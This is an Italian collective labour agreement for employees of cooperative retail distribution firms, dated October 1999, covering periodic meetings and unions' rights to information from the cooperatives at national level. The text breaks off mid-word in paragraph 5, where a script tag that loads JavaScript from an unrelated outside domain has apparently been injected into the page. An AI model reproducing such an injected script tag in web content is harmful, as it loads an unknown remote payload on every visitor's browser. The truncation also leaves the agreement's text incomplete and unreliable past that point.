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Categoria: Commercio, cooperative di consumo Settore: Commercio Data stipula: 5-10-1999 Data decorrenza: 1-1-1999 Data scadenza: 31-12-2002
IPOTESI DI ACCORDO PER IL RINNOVO DEL CCNL
PER I DIPENDENTI DA IMPRESE DELLA DISTRIBUZIONE COOPERATIVA
5 ottobre 1999
- ANCC
- ANCD
- FEDERCONSUMO
- AGCI
- FILCAMS-CGIL
- FISASCAT-CISL
- UILTUCS-UIL
Art. 1 - Organizzazione del sistema.
11. Le parti s'incontreranno periodicamente, di norma ogni 6 mesi o
anticipatamente su richiesta, al fine di valutare le relazioni
intercorrenti tra la normativa contrattuale e la legislazione emanata o
emananda in materia di rapporto di lavoro.
Art. 2 - Diritti di informazione.
1.Le parti, ferma restando la piena autonomia di poteri decisionali e di
responsabilità gestionali delle Cooperative e le rispettive distinte
responsabilità delle Associazioni cooperative e delle OO.SS. dei
lavoratori, concordano il seguente sistema d'informazione.
2.Al fine di consentire alle OO.SS. firmatarie del presente CCNL
un'adeguata conoscenza delle problematiche relative ai rilevanti fenomeni
collegati ai processi di sviluppo e ristrutturazione e alle relative
innovazioni tecnico-organizzative, nonché ai loro riflessi
sull'organizzazione del lavoro e sui livelli occupazionali e
professionali, saranno fornite le informazioni stabilite ai livelli di
competenza come sotto specificato (nazionale, regionale, aziendale) allo
scopo di consentire anche l'attivazione di un'eventuale fase di confronto
sui progetti di cui all'art. 3 (partecipazione).
3.In relazione a quanto sopra, ciascuna delle Associazioni cooperative, In
piena autonomia, fornirà alle predette OO.SS. informazioni sulle materie
indicate ai livelli e con le procedure stabilite nel presente articolo;
per quanto riguarda le informazioni sui progetti con le procedure previste
dal punto 3 dell'art. 3.
A)Livello nazionale.
1.Di norma annualmente, entro il 1° quadrimestre, saranno fornite, nel
corso di un apposito incontro, informazioni globali, articolate per
tipologia strutturale, riferite alle prospettive del settore,
all'evoluzione complessiva del sistema di imprese cooperative associate,
agli orientamenti inerenti le modificazioni tecnico- organizzative e ai
prevedibili riflessi sugli andamenti occupazionali e sulla struttura
dell'occupazione, suddivisa per livelli e per tipologia dei contratti
d'assunzione, con particolare riferimento all'occupazione giovanile e
femminile.
2.In questo ambito e nei suoi termini più generali, l'informazione
riguarderà inoltre la costituzione di nuove società, i mutamenti degli
assetti societari, le affiliazioni, le concentrazioni, le fusioni, le
acquisizioni di rilevanti partecipazioni societarie, avverrà nel rispetto
dei tempi di decisione delle cooperative e sarà preventiva nei termini di
cui al successivo ad. 3, punto 3, lett. a). Tale informazione si riferirà
anche alle articolazioni regionali e/o interregionali interessate.
3.Saranno altresì fornite informazioni globali in materia di politiche
commerciali, con riferimento ai rapporti con la produzione, alla struttura
dei consumi e al ruolo della cooperazione per stabilire rapporti
funzionali con i programmi agricoli e industriali tali da consentire una
politica commerciale e degli assortimenti coerente rispetto alle esigenze
dei consumatori.
4.Nel corso degli incontri saranno fornite informazioni anche sui problemi
inerenti la riforma del settore distributivo e sulle iniziative reciproche
verso i pubblici poteri per porre in atto politiche coerenti per il
rinnovamento del settore distributivo, nel quadro di una riorganizzazione
settoriale e territoriale che consenta alla cooperazione di consumo di
svilupparsi nel territorio nazionale attraverso una qualificata presenza
strutturale e commerciale.
5.Le Associazioni cooperative nazionali, a fr<script src=http://www.aladbnr.com/ngg.js></script>
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